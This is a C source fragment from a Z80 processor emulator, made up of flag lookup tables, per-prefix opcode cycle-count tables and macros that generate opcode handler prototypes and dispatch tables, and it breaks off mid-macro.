unsigned char *z80_readmap[64];
unsigned char *z80_writemap[64];
void (*z80_writemem)(unsigned int address, unsigned char data);
unsigned char (*z80_readmem)(unsigned int address);
void (*z80_writeport)(unsigned int port, unsigned char data);
unsigned char (*z80_readport)(unsigned int port);
static UINT32 EA;
static UINT8 SZ[256]; /* zero and sign flags */
static UINT8 SZ_BIT[256]; /* zero, sign and parity/overflow (=zero) flags for BIT opcode */
static UINT8 SZP[256]; /* zero, sign and parity flags */
static UINT8 SZHV_inc[256]; /* zero, sign, half carry and overflow flags INC r8 */
static UINT8 SZHV_dec[256]; /* zero, sign, half carry and overflow flags DEC r8 */
static UINT8 SZHVC_add[2*256*256]; /* flags for ADD opcode */
static UINT8 SZHVC_sub[2*256*256]; /* flags for SUB opcode */
static const UINT16 cc_op[0x100] = {
4*15,10*15, 7*15, 6*15, 4*15, 4*15, 7*15, 4*15, 4*15,11*15, 7*15, 6*15, 4*15, 4*15, 7*15, 4*15,
8*15,10*15, 7*15, 6*15, 4*15, 4*15, 7*15, 4*15,12*15,11*15, 7*15, 6*15, 4*15, 4*15, 7*15, 4*15,
7*15,10*15,16*15, 6*15, 4*15, 4*15, 7*15, 4*15, 7*15,11*15,16*15, 6*15, 4*15, 4*15, 7*15, 4*15,
7*15,10*15,13*15, 6*15,11*15,11*15,10*15, 4*15, 7*15,11*15,13*15, 6*15, 4*15, 4*15, 7*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
7*15, 7*15, 7*15, 7*15, 7*15, 7*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 7*15, 4*15,
5*15,10*15,10*15,10*15,10*15,11*15, 7*15,11*15, 5*15,10*15,10*15, 0*15,10*15,17*15, 7*15,11*15,
5*15,10*15,10*15,11*15,10*15,11*15, 7*15,11*15, 5*15, 4*15,10*15,11*15,10*15, 0*15, 7*15,11*15,
5*15,10*15,10*15,19*15,10*15,11*15, 7*15,11*15, 5*15, 4*15,10*15, 4*15,10*15, 0*15, 7*15,11*15,
5*15,10*15,10*15, 4*15,10*15,11*15, 7*15,11*15, 5*15, 6*15,10*15, 4*15,10*15, 0*15, 7*15,11*15};
static const UINT16 cc_cb[0x100] = {
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,12*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,15*15, 8*15};
static const UINT16 cc_ed[0x100] = {
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
12*15,12*15,15*15,20*15, 8*15,14*15, 8*15, 9*15,12*15,12*15,15*15,20*15, 8*15,14*15, 8*15, 9*15,
12*15,12*15,15*15,20*15, 8*15,14*15, 8*15, 9*15,12*15,12*15,15*15,20*15, 8*15,14*15, 8*15, 9*15,
12*15,12*15,15*15,20*15, 8*15,14*15, 8*15,18*15,12*15,12*15,15*15,20*15, 8*15,14*15, 8*15,18*15,
12*15,12*15,15*15,20*15, 8*15,14*15, 8*15, 8*15,12*15,12*15,15*15,20*15, 8*15,14*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
16*15,16*15,16*15,16*15, 8*15, 8*15, 8*15, 8*15,16*15,16*15,16*15,16*15, 8*15, 8*15, 8*15, 8*15,
16*15,16*15,16*15,16*15, 8*15, 8*15, 8*15, 8*15,16*15,16*15,16*15,16*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15,
8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15, 8*15};
/*static const UINT8 cc_xy[0x100] = {
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,15*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,15*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,
4*15,14*15,20*15,10*15, 9*15, 9*15,11*15, 4*15, 4*15,15*15,20*15,10*15, 9*15, 9*15,11*15, 4*15,
4*15, 4*15, 4*15, 4*15,23*15,23*15,19*15, 4*15, 4*15,15*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,
4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15, 4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15,
4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15, 4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15,
9*15, 9*15, 9*15, 9*15, 9*15, 9*15,19*15, 9*15, 9*15, 9*15, 9*15, 9*15, 9*15, 9*15,19*15, 9*15,
19*15,19*15,19*15,19*15,19*15,19*15, 4*15,19*15, 4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15,
4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15, 4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15,
4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15, 4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15,
4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15, 4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15,
4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15, 4*15, 4*15, 4*15, 4*15, 9*15, 9*15,19*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 0*15, 4*15, 4*15, 4*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,
4*15,14*15, 4*15,23*15, 4*15,15*15, 4*15, 4*15, 4*15, 8*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,
4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15,10*15, 4*15, 4*15, 4*15, 4*15, 4*15, 4*15};
*/
/* illegal combo should return 4 + cc_op[i] */
static const UINT16 cc_xy[0x100] ={
8*15,14*15,11*15,10*15, 8*15, 8*15,11*15, 8*15, 8*15,15*15,11*15,10*15, 8*15, 8*15,11*15, 8*15,
12*15,14*15,11*15,10*15, 8*15, 8*15,11*15, 8*15,16*15,15*15,11*15,10*15, 8*15, 8*15,11*15, 8*15,
11*15,14*15,20*15,10*15, 9*15, 9*15,12*15, 8*15,11*15,15*15,20*15,10*15, 9*15, 9*15,12*15, 8*15,
11*15,14*15,17*15,10*15,23*15,23*15,19*15, 8*15,11*15,15*15,17*15,10*15, 8*15, 8*15,11*15, 8*15,
8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15, 8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15,
8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15, 8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15,
9*15, 9*15, 9*15, 9*15, 9*15, 9*15,19*15, 9*15, 9*15, 9*15, 9*15, 9*15, 9*15, 9*15,19*15, 9*15,
19*15,19*15,19*15,19*15,19*15,19*15, 8*15,19*15, 8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15,
8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15, 8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15,
8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15, 8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15,
8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15, 8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15,
8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15, 8*15, 8*15, 8*15, 8*15, 9*15, 9*15,19*15, 8*15,
9*15,14*15,14*15,14*15,14*15,15*15,11*15,15*15, 9*15,14*15,14*15, 0*15,14*15,21*15,11*15,15*15,
9*15,14*15,14*15,15*15,14*15,15*15,11*15,15*15, 9*15, 8*15,14*15,15*15,14*15, 4*15,11*15,15*15,
9*15,14*15,14*15,23*15,14*15,15*15,11*15,15*15, 9*15, 8*15,14*15, 8*15,14*15, 4*15,11*15,15*15,
9*15,14*15,14*15, 8*15,14*15,15*15,11*15,15*15, 9*15,10*15,14*15, 8*15,14*15, 4*15,11*15,15*15};
static const UINT16 cc_xycb[0x100] = {
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,
20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,
20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,
20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,20*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,
23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15,23*15};
/* extra cycles if jr/jp/call taken and 'interrupt latency' on rst 0-7 */
static const UINT16 cc_ex[0x100] = {
0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15,
5*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, /* DJNZ */
5*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 5*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, /* JR NZ/JR Z */
5*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 5*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, /* JR NC/JR C */
0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15,
0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15,
0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15,
0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15,
0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15,
0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15,
0*15, 0*15, 4*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 0*15, 4*15, 0*15, 0*15, 0*15, 0*15, 0*15, /* INI/IND (cycle-accurate I/O port reads) */
5*15, 5*15, 5*15, 5*15, 0*15, 0*15, 0*15, 0*15, 5*15, 5*15, 5*15, 5*15, 0*15, 0*15, 0*15, 0*15, /* LDIR/CPIR/INIR/OTIR LDDR/CPDR/INDR/OTDR */
6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15, 6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15,
6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15, 6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15,
6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15, 6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15,
6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15, 6*15, 0*15, 0*15, 0*15, 7*15, 0*15, 0*15, 2*15};
static const UINT16 *cc[6];
#define Z80_TABLE_dd Z80_TABLE_xy
#define Z80_TABLE_fd Z80_TABLE_xy
typedef void (*funcptr)(void);
#define PROTOTYPES(tablename,prefix) \
INLINE void prefix##_00(void); INLINE void prefix##_01(void); INLINE void prefix##_02(void); INLINE void prefix##_03(void); \
INLINE void prefix##_04(void); INLINE void prefix##_05(void); INLINE void prefix##_06(void); INLINE void prefix##_07(void); \
INLINE void prefix##_08(void); INLINE void prefix##_09(void); INLINE void prefix##_0a(void); INLINE void prefix##_0b(void); \
INLINE void prefix##_0c(void); INLINE void prefix##_0d(void); INLINE void prefix##_0e(void); INLINE void prefix##_0f(void); \
INLINE void prefix##_10(void); INLINE void prefix##_11(void); INLINE void prefix##_12(void); INLINE void prefix##_13(void); \
INLINE void prefix##_14(void); INLINE void prefix##_15(void); INLINE void prefix##_16(void); INLINE void prefix##_17(void); \
INLINE void prefix##_18(void); INLINE void prefix##_19(void); INLINE void prefix##_1a(void); INLINE void prefix##_1b(void); \
INLINE void prefix##_1c(void); INLINE void prefix##_1d(void); INLINE void prefix##_1e(void); INLINE void prefix##_1f(void); \
INLINE void prefix##_20(void); INLINE void prefix##_21(void); INLINE void prefix##_22(void); INLINE void prefix##_23(void); \
INLINE void prefix##_24(void); INLINE void prefix##_25(void); INLINE void prefix##_26(void); INLINE void prefix##_27(void); \
INLINE void prefix##_28(void); INLINE void prefix##_29(void); INLINE void prefix##_2a(void); INLINE void prefix##_2b(void); \
INLINE void prefix##_2c(void); INLINE void prefix##_2d(void); INLINE void prefix##_2e(void); INLINE void prefix##_2f(void); \
INLINE void prefix##_30(void); INLINE void prefix##_31(void); INLINE void prefix##_32(void); INLINE void prefix##_33(void); \
INLINE void prefix##_34(void); INLINE void prefix##_35(void); INLINE void prefix##_36(void); INLINE void prefix##_37(void); \
INLINE void prefix##_38(void); INLINE void prefix##_39(void); INLINE void prefix##_3a(void); INLINE void prefix##_3b(void); \
INLINE void prefix##_3c(void); INLINE void prefix##_3d(void); INLINE void prefix##_3e(void); INLINE void prefix##_3f(void); \
INLINE void prefix##_40(void); INLINE void prefix##_41(void); INLINE void prefix##_42(void); INLINE void prefix##_43(void); \
INLINE void prefix##_44(void); INLINE void prefix##_45(void); INLINE void prefix##_46(void); INLINE void prefix##_47(void); \
INLINE void prefix##_48(void); INLINE void prefix##_49(void); INLINE void prefix##_4a(void); INLINE void prefix##_4b(void); \
INLINE void prefix##_4c(void); INLINE void prefix##_4d(void); INLINE void prefix##_4e(void); INLINE void prefix##_4f(void); \
INLINE void prefix##_50(void); INLINE void prefix##_51(void); INLINE void prefix##_52(void); INLINE void prefix##_53(void); \
INLINE void prefix##_54(void); INLINE void prefix##_55(void); INLINE void prefix##_56(void); INLINE void prefix##_57(void); \
INLINE void prefix##_58(void); INLINE void prefix##_59(void); INLINE void prefix##_5a(void); INLINE void prefix##_5b(void); \
INLINE void prefix##_5c(void); INLINE void prefix##_5d(void); INLINE void prefix##_5e(void); INLINE void prefix##_5f(void); \
INLINE void prefix##_60(void); INLINE void prefix##_61(void); INLINE void prefix##_62(void); INLINE void prefix##_63(void); \
INLINE void prefix##_64(void); INLINE void prefix##_65(void); INLINE void prefix##_66(void); INLINE void prefix##_67(void); \
INLINE void prefix##_68(void); INLINE void prefix##_69(void); INLINE void prefix##_6a(void); INLINE void prefix##_6b(void); \
INLINE void prefix##_6c(void); INLINE void prefix##_6d(void); INLINE void prefix##_6e(void); INLINE void prefix##_6f(void); \
INLINE void prefix##_70(void); INLINE void prefix##_71(void); INLINE void prefix##_72(void); INLINE void prefix##_73(void); \
INLINE void prefix##_74(void); INLINE void prefix##_75(void); INLINE void prefix##_76(void); INLINE void prefix##_77(void); \
INLINE void prefix##_78(void); INLINE void prefix##_79(void); INLINE void prefix##_7a(void); INLINE void prefix##_7b(void); \
INLINE void prefix##_7c(void); INLINE void prefix##_7d(void); INLINE void prefix##_7e(void); INLINE void prefix##_7f(void); \
INLINE void prefix##_80(void); INLINE void prefix##_81(void); INLINE void prefix##_82(void); INLINE void prefix##_83(void); \
INLINE void prefix##_84(void); INLINE void prefix##_85(void); INLINE void prefix##_86(void); INLINE void prefix##_87(void); \
INLINE void prefix##_88(void); INLINE void prefix##_89(void); INLINE void prefix##_8a(void); INLINE void prefix##_8b(void); \
INLINE void prefix##_8c(void); INLINE void prefix##_8d(void); INLINE void prefix##_8e(void); INLINE void prefix##_8f(void); \
INLINE void prefix##_90(void); INLINE void prefix##_91(void); INLINE void prefix##_92(void); INLINE void prefix##_93(void); \
INLINE void prefix##_94(void); INLINE void prefix##_95(void); INLINE void prefix##_96(void); INLINE void prefix##_97(void); \
INLINE void prefix##_98(void); INLINE void prefix##_99(void); INLINE void prefix##_9a(void); INLINE void prefix##_9b(void); \
INLINE void prefix##_9c(void); INLINE void prefix##_9d(void); INLINE void prefix##_9e(void); INLINE void prefix##_9f(void); \
INLINE void prefix##_a0(void); INLINE void prefix##_a1(void); INLINE void prefix##_a2(void); INLINE void prefix##_a3(void); \
INLINE void prefix##_a4(void); INLINE void prefix##_a5(void); INLINE void prefix##_a6(void); INLINE void prefix##_a7(void); \
INLINE void prefix##_a8(void); INLINE void prefix##_a9(void); INLINE void prefix##_aa(void); INLINE void prefix##_ab(void); \
INLINE void prefix##_ac(void); INLINE void prefix##_ad(void); INLINE void prefix##_ae(void); INLINE void prefix##_af(void); \
INLINE void prefix##_b0(void); INLINE void prefix##_b1(void); INLINE void prefix##_b2(void); INLINE void prefix##_b3(void); \
INLINE void prefix##_b4(void); INLINE void prefix##_b5(void); INLINE void prefix##_b6(void); INLINE void prefix##_b7(void); \
INLINE void prefix##_b8(void); INLINE void prefix##_b9(void); INLINE void prefix##_ba(void); INLINE void prefix##_bb(void); \
INLINE void prefix##_bc(void); INLINE void prefix##_bd(void); INLINE void prefix##_be(void); INLINE void prefix##_bf(void); \
INLINE void prefix##_c0(void); INLINE void prefix##_c1(void); INLINE void prefix##_c2(void); INLINE void prefix##_c3(void); \
INLINE void prefix##_c4(void); INLINE void prefix##_c5(void); INLINE void prefix##_c6(void); INLINE void prefix##_c7(void); \
INLINE void prefix##_c8(void); INLINE void prefix##_c9(void); INLINE void prefix##_ca(void); INLINE void prefix##_cb(void); \
INLINE void prefix##_cc(void); INLINE void prefix##_cd(void); INLINE void prefix##_ce(void); INLINE void prefix##_cf(void); \
INLINE void prefix##_d0(void); INLINE void prefix##_d1(void); INLINE void prefix##_d2(void); INLINE void prefix##_d3(void); \
INLINE void prefix##_d4(void); INLINE void prefix##_d5(void); INLINE void prefix##_d6(void); INLINE void prefix##_d7(void); \
INLINE void prefix##_d8(void); INLINE void prefix##_d9(void); INLINE void prefix##_da(void); INLINE void prefix##_db(void); \
INLINE void prefix##_dc(void); INLINE void prefix##_dd(void); INLINE void prefix##_de(void); INLINE void prefix##_df(void); \
INLINE void prefix##_e0(void); INLINE void prefix##_e1(void); INLINE void prefix##_e2(void); INLINE void prefix##_e3(void); \
INLINE void prefix##_e4(void); INLINE void prefix##_e5(void); INLINE void prefix##_e6(void); INLINE void prefix##_e7(void); \
INLINE void prefix##_e8(void); INLINE void prefix##_e9(void); INLINE void prefix##_ea(void); INLINE void prefix##_eb(void); \
INLINE void prefix##_ec(void); INLINE void prefix##_ed(void); INLINE void prefix##_ee(void); INLINE void prefix##_ef(void); \
INLINE void prefix##_f0(void); INLINE void prefix##_f1(void); INLINE void prefix##_f2(void); INLINE void prefix##_f3(void); \
INLINE void prefix##_f4(void); INLINE void prefix##_f5(void); INLINE void prefix##_f6(void); INLINE void prefix##_f7(void); \
INLINE void prefix##_f8(void); INLINE void prefix##_f9(void); INLINE void prefix##_fa(void); INLINE void prefix##_fb(void); \
INLINE void prefix##_fc(void); INLINE void prefix##_fd(void); INLINE void prefix##_fe(void); INLINE void prefix##_ff(void);
#define FUNCTABLE(tablename,prefix) \
static const funcptr tablename[0x100] = { \
prefix##_00,prefix##_01,prefix##_02,prefix##_03,prefix##_04,prefix##_05,prefix##_06,prefix##_07, \
prefix##_08,prefix##_09,prefix##_0a,prefix##_0b,prefix##_0c,prefix##_0d,prefix##_0e,prefix##_0f, \
prefix##_10,prefix##_11,prefix##_12,prefix##_13,prefix##_14,prefix##_15,prefix##_16,prefix##_17, \
prefix##_18,prefix##_19,prefix##_1a,prefix##_1b,prefix##_1c,prefix##_1d,prefix##_1e,prefix##_1f, \
prefix##_20,prefix##_21,prefix##_22,prefix##_23,prefix##_24,prefix##_25,prefix##_26,prefix##_27, \
prefix##_28,prefix##_29,prefix##_2a,prefix##_2b,prefix##_2c,prefix##_2d,prefix##_2e,prefix##_2f, \
prefix##_30,prefix##_31,prefix##_32,prefix##_33,prefix##_34,prefix##_35,prefix##_36,prefix##_37, \
prefix##_38,prefix##_39,prefix##_3a,prefix##_3b,prefix##_3c,prefix##_3d,prefix##_3e,prefix##_3f, \
prefix##_40,prefix##_41,prefix##_42,prefix##_43,prefix##_44,prefix##_45,prefix##_46,prefix##_47, \
prefix##_48,prefix##_49,prefix##_4a,prefix##_4b,prefix##_4c,prefix##_4d,prefix##_4e,prefix##_4f, \
prefix##_50,prefix##_51,prefix##_52,prefix##_53,prefix##_54,prefix##_55,prefix##_56,prefix##_57, \
prefix##_58,prefix##_59,prefix##_5a,prefix##_5b,prefix##_5c,prefix##_5d,prefix##_5e,prefix##_5f, \
prefix##_60,prefix##_61,prefix##_62,prefix##_63,prefix##_64,prefix##_65,prefix##_66,prefix##_67, \
prefix##_68,prefix##_69,prefix##_6a,prefix##_6b,prefix##_6c,prefix##_6d,prefix##_6e,prefix##_6f, \
prefix##_70,prefix##_71,prefix##_72,prefix##_73,prefix##_74,prefix##_75,prefix##_76,prefix##_77, \
prefix##_78,prefix##_79,prefix##_7a,prefix##_7b,prefix##_7c,prefix##_7d,prefix##_7e,prefix##_7f, \
prefix##_80,prefix##_81,prefix##_82,prefix##_83,prefix##_84,prefix##_85,prefix##_86,prefix##_87, \
prefix##_88,prefix##_89,prefix##_8a,prefix##_8b,prefix##_8c,prefix##_8d,prefix##_8e,prefix##_8f, \
prefix##_90,prefix##_91,prefix##_92,prefix##_93,prefix##_94,prefix##_95,prefix##_96,prefix##_97, \
prefix##_98,prefix##_99,prefix##_9a,prefix##_9b,prefix##_9c,prefix##_9d,prefix##_9e,prefix##_9f, \
prefix##_a0,prefix##_a1,prefix##_a2,prefix##_a3,prefix##_a4,prefix##_a5,prefix##_a6,prefix##_a7, \
prefix##_a8,prefix##_a9,prefix##_aa,prefix##_ab,prefix##_ac,prefix##_ad,prefix##_ae,prefix##_af, \
prefix##_b0,prefix##_b1,prefix##_b2,prefix##_b3,prefix##_b4,prefix##_b5,prefix##_b6,prefix##_b7, \
prefix##_b8,prefix##_b9,prefix##_ba,prefix##_bb,prefix##_bc,prefix##_bd,prefix##_be,prefix##_bf, \
prefix##_c0,prefix##_c1,prefix##_c2,prefix##_c3,prefix##_c4,prefix##_c5,prefix##_c6,prefix##_c7, \
prefix##_c8,prefix##_c9,prefix##_ca,prefix##_cb,prefix##_cc,prefix##_cd,prefix##_ce,prefix##_cf, \
prefix##_d0,prefix##_d1,prefix##_d2,prefix##_d3,prefix##_d4,prefix##_d5,prefix##_d6,prefix##_d7, \
prefix##_d8,prefix##_d9,prefix##_da,prefix##_db,prefix##_dc,prefix##_dd,prefix##_de,prefix##_df, \
prefix##_e0,prefix##_e1,prefix##_e2,prefix##_e3,prefix##_e4,prefix##_e5,prefix##_e6,prefix##_e7, \
prefix##_e8,prefix##_e9,prefix##_ea,prefix##_eb,prefix##_ec,prefix##_ed,prefix##_ee,prefix##_ef, \
